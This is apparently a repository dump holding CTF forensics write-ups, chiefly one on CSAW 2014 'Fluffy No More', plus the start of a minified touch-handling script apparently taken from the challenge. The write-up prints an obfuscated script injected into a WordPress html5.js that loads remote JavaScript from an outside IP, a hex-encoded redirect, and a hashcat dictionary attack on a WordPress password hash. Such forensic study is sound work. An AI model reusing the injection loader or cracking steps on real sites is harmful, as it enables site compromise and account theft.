The given file has a funny extension *.mem.zip*. Before we go ahead and unzip it, let's try to learn more about this file. To do this we choose to use the Linux's command [file]:
```sh
$ file --help
Usage: file [OPTION...] [FILE...]
Determine type of FILEs.
--help display this help and exit
-v, --version output version information and exit
-m, --magic-file LIST use LIST as a colon-separated list of magic
number files
-z, --uncompress try to look inside compressed files
-b, --brief do not prepend filenames to output lines
-c, --checking-printout print the parsed form of the magic file, use in
conjunction with -m to debug a new magic file
before installing it
-e, --exclude TEST exclude TEST from the list of test to be
performed for file. Valid tests are:
apptype, ascii, cdf, compress, elf, encoding,
soft, tar, text, tokens
-f, --files-from FILE read the filenames to be examined from FILE
-F, --separator STRING use string as separator instead of `:'
-i, --mime output MIME type strings (--mime-type and
--mime-encoding)
--apple output the Apple CREATOR/TYPE
--mime-type output the MIME type
--mime-encoding output the MIME encoding
-k, --keep-going don't stop at the first match
-l, --list list magic strength
-L, --dereference follow symlinks (default)
-h, --no-dereference don't follow symlinks
-n, --no-buffer do not buffer output
-N, --no-pad do not pad output
-0, --print0 terminate filenames with ASCII NUL
-p, --preserve-date preserve access times on files
-r, --raw don't translate unprintable chars to \ooo
-s, --special-files treat special (block/char devices) files as
ordinary ones
-C, --compile compile file specified by -m
-d, --debug print debugging messages
```
We find the flag ```-z```, which allows us to look inside the zipped files:
```sh
$ file -z firefox.mem.zip
firefox.mem.zip: ELF 64-bit LSB core file x86-64, version 1 (SYSV) (Zip archive data, at least v2.0 to extract)
```
Cool! So let's go ahead and unzip this file:
```sh
$ unzip firefox.mem.zip nzip firefox.mem.zip
Archive: firefox.mem.zip
inflating: firefox.mem
creating: __MACOSX/
inflating: __MACOSX/._firefox.mem
```
--------
## Extra: Learning More about the *.mem* File
This is a very weird file extension. If you google *.mem*, you don't find much, it's clear it's a memory file, but what now? From the *file* command, we learned that this is an *ELF 64-bit LSB core*. Let's understand this by parts.
An [ELF] file (Executable and Linkable Format) is a standard file format for executables, object code, shared libraries, and core dumps. The cool thing about ELF is that it's not bound to any particular architecture.
In Linux, we can use the command [readelf] to displays information about ELF files:
```sh
$ readelf firefox.mem
Usage: readelf <option(s)> elf-file(s)
Display information about the contents of ELF format files
Options are:
-a --all Equivalent to: -h -l -S -s -r -d -V -A -I
-h --file-header Display the ELF file header
-l --program-headers Display the program headers
--segments An alias for --program-headers
-S --section-headers Display the sections' header
--sections An alias for --section-headers
-g --section-groups Display the section groups
-t --section-details Display the section details
-e --headers Equivalent to: -h -l -S
-s --syms Display the symbol table
--symbols An alias for --syms
--dyn-syms Display the dynamic symbol table
-n --notes Display the core notes (if present)
-r --relocs Display the relocations (if present)
-u --unwind Display the unwind info (if present)
-d --dynamic Display the dynamic section (if present)
-V --version-info Display the version sections (if present)
-A --arch-specific Display architecture specific information (if any)
-c --archive-index Display the symbol/file index in an archive
-D --use-dynamic Use the dynamic section info when displaying symbols
-x --hex-dump=<number|name>
Dump the contents of section <number|name> as bytes
-p --string-dump=<number|name>
Dump the contents of section <number|name> as strings
-R --relocated-dump=<number|name>
Dump the contents of section <number|name> as relocated bytes
-w[lLiaprmfFsoRt] or
--debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,
=frames-interp,=str,=loc,=Ranges,=pubtypes,
=gdb_index,=trace_info,=trace_abbrev,=trace_aranges]
Display the contents of DWARF2 debug sections
--dwarf-depth=N Do not display DIEs at depth N or greater
--dwarf-start=N Display DIEs starting with N, at the same depth
or deeper
-I --histogram Display histogram of bucket list lengths
-W --wide Allow output width to exceed 80 characters
@<file> Read options from <file>
-H --help Display this information
-v --version Display the version number of readelf
```
In addition, [LSB] stands for *Linux Standard Base*, which is a joint project by several Linux distributions. It specifies standard libraries, a number of commands and utilities that extend the POSIX standard, the layout of the file system hierarchy, run levels, the printing system, etc.
---
## Extracting Information from the *.mem* File
It turned out that we don't even need to know anything about the file to find the flag. All we need to do is to search for the *flag* string:
```sh
$ cat firefox.mem | grep -a 'flag{'
P<><50>negativeone_or_fdZZZZZZZZZZZZnegativeone_or_nothingZZnegativeone_or_ssize_tZZd_name_extra_sizeZZZZZZZZZZZZnull_or_dirent_ptrZZZZZZZZZZOSFILE_SIZEOF_DIRZZZZZZZZZZZZ<5A><5A><EFBFBD><EFBFBD> 3<><><7F><EFBFBD><EFBFBD><><7F><EFBFBD><EFBFBD>ZZZZZZZH<5A>f<EFBFBD>L<><4C>L<7F><4C>ZZ<5A><5A><EFBFBD><EFBFBD>@<40>m<EFBFBD><><7F><EFBFBD><EFBFBD><><7F><EFBFBD><EFBFBD>ZZZZZZZAG<41>@r<EFBFBD><EFBFBD><>y<EFBFBD><79>ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291}
```
Yay! We found the flag: **cd69b4957f06cd818d7bf3d61980e291**!
**Hack all the things!**
[LSB]: http://en.wikipedia.org/wiki/Linux_Standard_Base
[readelf]: http://linux.die.net/man/1/readelf
[file]: http://en.wikipedia.org/wiki/File_(command)
[firefox.mem.zip]: https://ctf.isis.poly.edu/static/uploads/606580b079e73e14ab2751e35d22ad44/firefox.mem.zip
[ELF]: http://en.wikipedia.org/wiki/Executable_and_Linkable_Format

Binary file not shown.

View File

@ -0,0 +1,568 @@
# Forensics-300: Fluffy No More
This is the fourth and the last forensics challenge in the CSAW CTF 2014 competition. I think it was much harder than any of the three before it, but it's also much more interesting.
The challenge stars with the following text:
> OH NO WE'VE BEEN HACKED!!!!!! -- said the Eye Heart Fluffy Bunnies Blog owner.
> Life was grand for the fluff fanatic until one day the site's users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive foreign governments. The notorious "Forgotten Freaks" hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!??
>
>Well... The fluff needs your stuff. I've pulled the logs from the server for you along with a backup of it's database and configuration. Figure out what is going on!
>
>Written by brad_anton
>
> [CSAW2014-FluffyNoMore-v0.1.tar.bz2]
Oh, no! Nobody should mess with fluffy bunnies! Ever! Let's find how this attack happened!
## Inspecting the Directories
We start by checking the identity of the file with the command [file]. We do this to make sure that the extension is not misleading:
```sh
$ file CSAW2014-FluffyNoMore-v0.1.tar.bz2
CSAW2014-FluffyNoMore-v0.1.tar.bz2: bzip2 compressed data, block size = 900k
```
OK, cool, we can go ahead and unzip the *bzip2* (compressed) tarball:
```sh
$ tar --help | grep bz
-j, --bzip2 filter the archive through bzip2
$ tar -xjf CSAW2014-FluffyNoMore-v0.1.tar.bz2
```
Now, let's take a look inside the folder:
```sh
$ tree CSAW2014-FluffyNoMore-v0.1
CSAW2014-FluffyNoMore-v0.1
├── etc_directory.tar.bz2
├── logs.tar.bz2
├── mysql_backup.sql.bz2
└── webroot.tar.bz2
0 directories, 4 files
```
All right, 4 more tarballs. Unzip and organizing them, gives us the following directories:
- etc/
- var/log and var/www
- mysql_backup.sql ([MySQL database dump file])
This is the directory structure of a [LAMP server], where LAMP stands for Linux-Apache-MySQL-PHP in the [Linux File System]. In this framework, the PHP/HTML/JavaScript webpage is placed inside ```var/www```.
The directory ```var/``` contains files that are expected to change in size and content as the system is running (var stands for variable). So it is natural that system log files are generally placed at ```/var/log```.
Finally, the ```etc/``` directory contains the system configuration files. For example, the file ```resolv.conf``` tells the system where to go on the network to obtain host name to IP address mappings (DNS), or the file ```passwd``` stores login information.
---
## Life is Made of Futile Tries
OK, before anything, we need to give a chance:
```sh
$ grep -r -l "key{"
var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css
webroot.tar.bz2-extracted/var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css
$ grep -r -l "flag{"
var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css
webroot.tar.bz2-extracted/var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css
```
Is our life this easy??? No, of course not. The hits we got are just funny names to mislead us, for example:
```html
-96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px
```
---
## Analyzing the MySQL Dump File
Let's start taking a look at ```mysql_backup.sql```.
Of course, no luck for:
```sh
$ cat mysql_backup.sql | grep 'flag{'
```
Fine. We open ```mysql_backup.sql``` in a text editor. The comments table shows that someone named "hacker" made an appearance:
```mysql
-- MySQL dump 10.13 Distrib 5.5.38, for debian-linux-gnu (i686)
--
-- Host: localhost Database: wordpress
-- ------------------------------------------------------
-- Dumping data for table `wp_comments`
--
(..)
(4,5,'Hacker','hacker@secretspace.com','','192.168.127.130','2014-09-16 14:21:26','2014-09-16 14:21:26','I HATE BUNNIES AND IM GOING TO HACK THIS SITE BWHAHAHAHAHAHAHAHAHAHAHAH!!!!!!! BUNNIES SUX',0,'1','Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0','',0,0),
(7,5,'Bald Bunny','nohair@hairlessclub.com','','192.168.127.130','2014-09-16 20:47:18','2014-09-16 20:47:18','I find this blog EXTREMELY OFFENSIVE!',0,'1','Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0','',0,0),
(8,5,'MASTER OF DISASTER','shh@nottellin.com','','192.168.127.137','2014-09-17 19:40:57','2014-09-17 19:40:57','Shut up baldy',0,'1','Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko','',7,0);
(...)
```
So we have the (possible) **attacker's email** and **IP address**. Maybe we can try to find a bit more about her.
Unfortunately the IP leads to nowhere:
```sh
$ ping 192.168.127.130
PING 192.168.127.130 (192.168.127.130) 56(84) bytes of data.
^C
--- 192.168.127.130 ping statistics ---
160 packets transmitted, 0 received, 100% packet loss, time 158999ms
$ nmap -A -v 192.168.127.130
Starting Nmap 6.45 ( http://nmap.org ) at 2014-09-25 15:43 EDT
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 15:43
Scanning 192.168.127.130 [2 ports]
Completed Ping Scan at 15:43, 3.00s elapsed (1 total hosts)
Nmap scan report for 192.168.127.130 [host down]
NSE: Script Post-scanning.
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.13 seconds
```
Searching for the host **secretspace.com** leads to some generic website. Inspecting its source code does not give us any hint either. Maybe its IP address?
```sh
$ dig secretspace.com
; <<>> DiG 9.9.4-P2-RedHat-9.9.4-15.P2.fc20 <<>> secretspace.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61131
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;secretspace.com. IN A
;; ANSWER SECTION:
secretspace.com. 285 IN A 72.167.232.29
;; Query time: 7 msec
;; SERVER: 10.0.0.1#53(10.0.0.1)
;; WHEN: Thu Sep 25 15:51:26 EDT 2014
;; MSG SIZE rcvd: 49
```
The IP 72.167.232.29 leads to another generic page with no hints and with nothing in special in the sourcecode. Wrong direction...
All right, let's give a last try and open the tables from the MySQL dump file inside a nice GUI. I use [phpMyAdmin], which I showed how to install and configure in my tutorial about setting up a [LAMP server].
We open ```localhost/phpmyadmin``` in our browser. First we go to *Databases* and then *Create Database* with any name we want. Then we *Import* ```mysql_backup.sql`` to this database. All the tables are loaded. Let's use the *Search* option to look for *key* or *flag*.
![](http://i.imgur.com/tVOY1VJ.png)
![](http://i.imgur.com/jY7CbLZ.png)
Nope. Nothing in special. By the way, ```default_pingback_flag1`` is just a **Wordpress** flag indicating the default status of ping backs when new blog posts are published.
Continuing our searc, if we look inside inside each of the tables we find:
- The URL for the [blog], which doesn't render. However, in the source code, there is a commented link that leads to a [cute website]. Nothing else.
- A hashed password!
![](http://i.imgur.com/FiQONze.png)
---
## Cracking the Password
We want to unhash ```$P$BmHbpWPZrjt.2V8T2xDJfbDrAJZ9So1``` and for this we are going to use [hashcat]. If you are in [Kali] or in any Debian distribution you can install it with:
```sh
$ apt-get hashact
```
In Fedora, we need to download and unzip it:
```sh
$ wget http://hashcat.net/files/hashcat-0.47.7z
$ 7za e hashcat-0.47.7z
```
Now, we are going to perform a brute force attack so we need a list of passwords. If you are using Kali, you can find them with:
```sh
$ locate wordlist
```
If this is not the case, this is an example for you (it's allways good to have several lists!):
```sh
$ wget http://www.scovetta.com/download/500_passwords.txt
$ head 500_passwords.txt
123456
password
12345678
1234
pussy
12345
dragon
qwerty
696969
mustang
```
Hashcat is awesome because it gives you a list of hash types:
```
0 = MD5
10 = md5($pass.$salt)
20 = md5($salt.$pass)
30 = md5(unicode($pass).$salt)
40 = md5(unicode($pass).$salt)
50 = HMAC-MD5 (key = $pass)
60 = HMAC-MD5 (key = $salt)
100 = SHA1
110 = sha1($pass.$salt)
120 = sha1($salt.$pass)
130 = sha1(unicode($pass).$salt)
140 = sha1($salt.unicode($pass))
150 = HMAC-SHA1 (key = $pass)
160 = HMAC-SHA1 (key = $salt)
200 = MySQL
300 = MySQL4.1/MySQL5
400 = phpass, MD5(Wordpress), MD5(phpBB3)
500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5
800 = SHA-1(Django)
(...)
```
We choose 400 because we are dealing with Wordpress. We copy and paste the hash to a file *pass.hash*. Then, we run:
```sh
$ ./hashcat-cli64.bin -m 400 -a 0 -o cracked.txt --remove pass.hash word_list.txt
Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size...
Added hashes from file crack1.hash: 1 (1 salts)
Activating quick-digest mode for single-hash with salt
NOTE: press enter for status-screen
All hashes have been recovered
Input.Mode: Dict (500_passwords.txt)
Index.....: 1/1 (segment), 1 (words), 14 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, - words
Progress..: 1/1 (100.00%)
Running...: 00:00:00:01
Estimated.: --:--:--:--
Started: Thu Sep 25 18:25:49 2014
Stopped: Thu Sep 25 18:25:50 2014
```
where:
* -m is for --hash-type=NUM
* -a 0: Using a dictionary attack
* cracked.txt is the output file
* word_list.txt is our dictionary
Now let's take a peak in the output file:
```sh
$ cat cracked.txt
$P$BmHbpWPZrjt.2V8T2xDJfbDrAJZ9So1:fluffybunnies
```
It worked! Our password is **fluffybunnies**!
All right, this is a very silly password! It could be easy guessed. If you were the attacker, wouldn't you try this as the first option ? OK, maybe right after *password* and *123456*...
#### What we have so far
In conclusion, all we have learned from this file was the attacker's motivation, the blog's URL, that the application was in Wordpress, and a password. Ah, also that ```mailserver_login:login@example.com``` and ```mailserver_pass=password```. Talking about security... Let's move on.
---
## Inspecting /var/logs/apache2
The next item in the list is log inspection:
```sh
$ find . -type f -name '*.log'
./apache2/error.log
./apache2/access.log
./apache2/other_vhosts_access.log
./fontconfig.log
./boot.log
./gpu-manager.log
./mysql.log
./bootstrap.log
./pm-powersave.log
./kern.log
./mysql/error.log
./alternatives.log
./lightdm/x-0.log
./lightdm/lightdm.log
./casper.log
./auth.log
./apt/term.log
./apt/history.log
./dpkg.log
./Xorg.0.log
./upstart/container-detect.log
./upstart/console-setup.log
./upstart/mysql.log
./upstart/alsa-state.log
./upstart/network-manager.log
./upstart/whoopsie.log
./upstart/procps-virtual-filesystems.log
./upstart/cryptdisks.log
./upstart/systemd-logind.log
./upstart/procps-static-network-up.log
./upstart/alsa-restore.log
./upstart/modemmanager.log
```
If there is any important information in the log files, it should appears in the end of it, because the attack should be one of the last things that were logged. [Tailing] the *apache* logs did not reveal anything useful. Maybe it is interesting to know that we see the IP *192.168.127.137* in the file */apache2/access.log*, which belongs to *MASTER OF DISASTER* (see above). So *hacker* was not the attacker?
-----
## Inspecting var/logs/auth.log
Now, considering that the password **fluffybunnies** was very easy to guess, we are going to take a leap and suppose that this was how the attack was crafted. Tailing ```auth.log``` shows something interesting:
```sh
Sep 17 19:18:53 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/bin/chmod -R 775 /var/www/
Sep 17 19:20:09 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js
Sep 17 19:20:55 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/find /var/www/html/ * touch {}
```
So someone logged as root and:
1. downgraded the permissions of */var/www* (755 means read and execute access for everyone and also write access for the owner of the file), and
2. modified a JavaScript file (html5.js) in *vi*.
---
## Finding the JavaScript Exploit
It looks like an attack to me! Let's [diff] this JavaScript file with the original ([which we can just google]):
```sh
$ diff html5.js html5_normal.js
93,122d92
< var g = "ti";
< var c = "HTML Tags";
< var f = ". li colgroup br src datalist script option .";
< f = f.split(" ");
< c = "";
< k = "/";
< m = f[6];
< for (var i = 0; i < f.length; i++) {
< c += f[i].length.toString();
< }
< v = f[0];
< x = "\'ht";
< b = f[4];
< f = 2541 * 6 - 35 + 46 + 12 - 15269;
< c += f.toString();
< f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
< c += f.toString();
< f = "";
< c = c.split("");
< var w = 0;
< u = "s";
< for (var i = 0; i < c.length; i++) {
< if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
< f += String.fromCharCode(46);
< w++;
< }
< f += c[i];
< }
< i = k + "anal";
< document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");
```
Aha!!! So what is being written?
In JavaScript, the function ```document.write()``` writes HTML expressions or JavaScript code to a document. However, we can debug it in the console if we want, changing it to ```console.log()``` (and changing any ```document``` word to ```console```). To run JavaScript in the console, you need to install [Node]:
```sh
$ node html5.js
<script src='http://128.238.66.100/analytics.js'></script>
```
----
## Analyzing the Second JavaScript Exploit
Awesome, we see a script exploit! Let's get it!
```sh
$ wget http://128.238.66.100/analytics.js
--2014-09-25 19:17:19-- http://128.238.66.100/analytics.js
Connecting to 128.238.66.100:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16072 (16K) [application/javascript]
Saving to: analytics.js
100%[===============================================================================>] 16,072 --.-K/s in 0.008s
2014-09-25 19:17:19 (2.02 MB/s) - analytics.js saved [16072/16072]
```
The file turns out to be large, and *grep* *flag* or *key* doesn't give any result back. No IP addresses or URL neither.
OK, let's take a closer look at it. We open the file in a text editor and we found a weird hex-encoded variable that is completely unconnected from the rest:
```
var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);
```
We decode it using Python or a [online hex-decode]:
```python
>>> print("\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E")
('http://128.238.66.100/announcement.pdf', '_self', 'open')
```
OK, another file. Opening the URL leads to this picture:
![](http://i.imgur.com/CNEQhfG.png)
No flag yet... But it should be in the PDF somewhere!
___
## Finding the Second Hex-encoded String: Approach I
All right, let's use what we learned from the [CSAW CTF 2014 Forensic -Obscurity] problem. First, let's see if we find the flag with a simple grep:
```sh
$./pdf-parser.py announcement.pdf | grep flag
$./pdf-parser.py announcement.pdf | grep key
```
No luck. Let us ID the file to see if we find any funny stream:
```sh
$ ./pdfid.py announcement.pdf PDFiD 0.1.2 announcement.pdf
PDF Header: %PDF-1.4
obj 9
endobj 9
stream 4
endstream 4
xref 1
trailer 1
startxref 1
/Page 1
/Encrypt 0
/ObjStm 0
/JS 0
/JavaScript 0
/AA 0
/OpenAction 0
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Launch 0
/EmbeddedFile 1
/XFA 0
/Colors > 2^24 0
```
Oh, cool, there is a **Embedded File**! Let's look closer to this object:
```sh
$ ./pdf-parser.py --stats announcement.pdf Comment: 3
XREF: 1
Trailer: 1
StartXref: 1
Indirect object: 9
2: 3, 7
/Catalog 1: 6
/EmbeddedFile 1: 8
/Filespec 1: 9
/Page 1: 5
/Pages 1: 4
/XObject 2: 1, 2
```
Nice. So now we can decode our pdf file using the **object code**, which we can see above that is **8**:
```sh
$ ./pdf-parser.py --object 8 --raw --filter announcement.pdf
obj 8 0
Type: /EmbeddedFile
Referencing:
Contains stream
<<
/Length 212
/Type /EmbeddedFile
/Filter /FlateDecode
/Params
<<
/Size 495
/Checksum <7f0104826bde58b80218635f639b50a9>
>>
/Subtype /application/pdf
>>
var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];
```
Which *finally* leads to our flag!
```python
>>> print("\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D")
YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb :) key{Those Fluffy Bunnies Make Tummy Bumpy}
```
---
## Finding the Second Hex-encoded String: Approach II
There is a nice tool called [qpdf] that can be very useful here:
```sh
$ sudp yum install qpf
```
Now, we just do the following conversion:
```sh
$ qpdf --qdf announcement.pdf unpacked.pdf
```
Opening *unpacket.pdf* with [l3afpad] also leads to the flag :
```
stream
var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];
endstream
endobj
````
--------------
**That's it! Hack all the things!**
[MySQL database dump file]:http://dev.mysql.com/doc/refman/5.0/en/mysqldump-sql-format.html
[CSAW CTF 2014 Forensic -Obscurity]: https://gist.github.com/bt3gl/4574e99fe0f0dbdb56a9
[online hex-decode]: http://ddecode.com/hexdecoder/
[which we can just google]: http://phpxref.ftwr.co.uk/wordpress/wp-content/themes/twentythirteen/js/html5.js.source.html
[Tailing]: http://en.wikipedia.org/wiki/Tail_(Unix)
[phpMyAdmin]: http://www.phpmyadmin.net/home_page/index.php
[qpdf]: http://qpdf.sourceforge.net/
[l3afpad]: http://tarot.freeshell.org/leafpad/
[diff]: http://linux.die.net/man/1/diff
[MySQL database dump file]: http://dev.mysql.com/doc/refman/5.1/en/mysqldump.html
[Linux File System]: http://www.tldp.org/LDP/intro-linux/html/sect_03_01.html
[LAMP server]: https://coderwall.com/p/syyk0g?i=5&p=1&q=author%3Abt3gl&t%5B%5D=bt3gl
[CSAW2014-FluffyNoMore-v0.1.tar.bz2]: https://ctf.isis.poly.edu/static/uploads/649bdf6804782af35cb9086512ca5e0d/CSAW2014-FluffyNoMore-v0.1.tar.bz2
[bzip2]: http://en.wikipedia.org/wiki/Bzip2
[cute website]: http://ww17.blog.eyeheartfluffybunnies.com/?fp=Tnxj5vWdcChO2G66EhCHHqSAdskqgQmZEbVQIh1DCmrgCyQjbeNsPhkvCpIUcP19mwOmcCS1hIeFb9Aj3%2FP4fw%3D%3D&prvtof=RyfmkPY5YuWnUulUghSjPRX510XSb9C0HJ2xsUn%2Fd3Q%3D&poru=jcHIwHNMXYtWvhsucEK%2BtSMzUepfq46Tam%2BwGZBSFMjZiV2p3eqdw8zpPiLr76ixCoirz%2FR955vowRxEMBO%2FoQ%3D%3D&cifr=1&%22
[blog]: http://ww17.blog.eyeheartfluffybunnies.com
[hashcat]: http://hashcat.net/hashcat/
[file]: http://en.wikipedia.org/wiki/File_(command)
[Kali]: http://www.kali.org/
[Node]: http://nodejs.org/

View File

@ -0,0 +1,325 @@
function aiho(a) {
"use strict";
var b, c = this;
if (this.trackingClick = !1, this.trackingClickStart = 0, this.targetElement = null, this.touchStartX = 0, this.touchStartY = 0, this.lastTouchIdentifier = 0, this.touchBoundary = 10, this.layer = a, !a || !a.nodeType) throw new TypeError("Layer must be a document node");
this.onClick = function() {
return aiho.prototype.onClick.apply(c, arguments)
}, this.onMouse = function() {
return aiho.prototype.onMouse.apply(c, arguments)
}, this.onTouchStart = function() {
return aiho.prototype.onTouchStart.apply(c, arguments)
}, this.onTouchMove = function() {
return aiho.prototype.onTouchMove.apply(c, arguments)
}, this.onTouchEnd = function() {
return aiho.prototype.onTouchEnd.apply(c, arguments)
}, this.onTouchCancel = function() {
return aiho.prototype.onTouchCancel.apply(c, arguments)
}, aiho.notNeeded(a) || (this.deviceIsAndroid && (a.addEventListener("mouseover", this.onMouse, !0), a.addEventListener("mousedown", this.onMouse, !0), a.addEventListener("mouseup", this.onMouse, !0)), a.addEventListener("click", this.onClick, !0), a.addEventListener("touchstart", this.onTouchStart, !1), a.addEventListener("touchmove", this.onTouchMove, !1), a.addEventListener("touchend", this.onTouchEnd, !1), a.addEventListener("touchcancel", this.onTouchCancel, !1), Event.prototype.stopImmediatePropagation || (a.removeEventListener = function(b, c, d) {
var e = Node.prototype.removeEventListener;
"click" === b ? e.call(a, b, c.hijacked || c, d) : e.call(a, b, c, d)
}, a.addEventListener = function(b, c, d) {
var e = Node.prototype.addEventListener;
"click" === b ? e.call(a, b, c.hijacked || (c.hijacked = function(a) {
a.propagationStopped || c(a)
}), d) : e.call(a, b, c, d)
}), "function" == typeof a.onclick && (b = a.onclick, a.addEventListener("click", function(a) {
b(a)
}, !1), a.onclick = null))
}
aiho.prototype.deviceIsAndroid = navigator.userAgent.indexOf("Android") > 0, aiho.prototype.deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent), aiho.prototype.deviceIsIOS4 = aiho.prototype.deviceIsIOS && /OS 4_\d(_\d)?/.test(navigator.userAgent), aiho.prototype.deviceIsIOSWithBadTarget = aiho.prototype.deviceIsIOS && /OS ([6-9]|\d{2})_\d/.test(navigator.userAgent), aiho.prototype.needsClick = function(a) {
"use strict";
switch (a.nodeName.toLowerCase()) {
case "button":
case "select":
case "textarea":
if (a.disabled) return !0;
break;
case "input":
if (this.deviceIsIOS && "file" === a.type || a.disabled) return !0;
break;
case "label":
case "video":
return !0
}
return /\bneedsclick\b/.test(a.className)
}, aiho.prototype.needsFocus = function(a) {
"use strict";
switch (a.nodeName.toLowerCase()) {
case "textarea":
return !0;
case "select":
return !this.deviceIsAndroid;
case "input":
switch (a.type) {
case "button":
case "checkbox":
case "file":
case "image":
case "radio":
case "submit":
return !1
}
return !a.disabled && !a.readOnly;
default:
return /\bneedsfocus\b/.test(a.className)
}
}, aiho.prototype.sendClick = function(a, b) {
"use strict";
var c, d;
document.activeElement && document.activeElement !== a && document.activeElement.blur(), d = b.changedTouches[0], c = document.createEvent("MouseEvents"), c.initMouseEvent(this.determineEventType(a), !0, !0, window, 1, d.screenX, d.screenY, d.clientX, d.clientY, !1, !1, !1, !1, 0, null), c.forwardedTouchEvent = !0, a.dispatchEvent(c)
}, aiho.prototype.determineEventType = function(a) {
"use strict";
return this.deviceIsAndroid && "select" === a.tagName.toLowerCase() ? "mousedown" : "click"
}, aiho.prototype.focus = function(a) {
"use strict";
var b;
this.deviceIsIOS && a.setSelectionRange && 0 !== a.type.indexOf("date") && "time" !== a.type ? (b = a.value.length, a.setSelectionRange(b, b)) : a.focus()
}, aiho.prototype.updateScrollParent = function(a) {
"use strict";
var b, c;
if (b = a.fastClickScrollParent, !b || !b.contains(a)) {
c = a;
do {
if (c.scrollHeight > c.offsetHeight) {
b = c, a.fastClickScrollParent = c;
break
}
c = c.parentElement
} while (c)
}
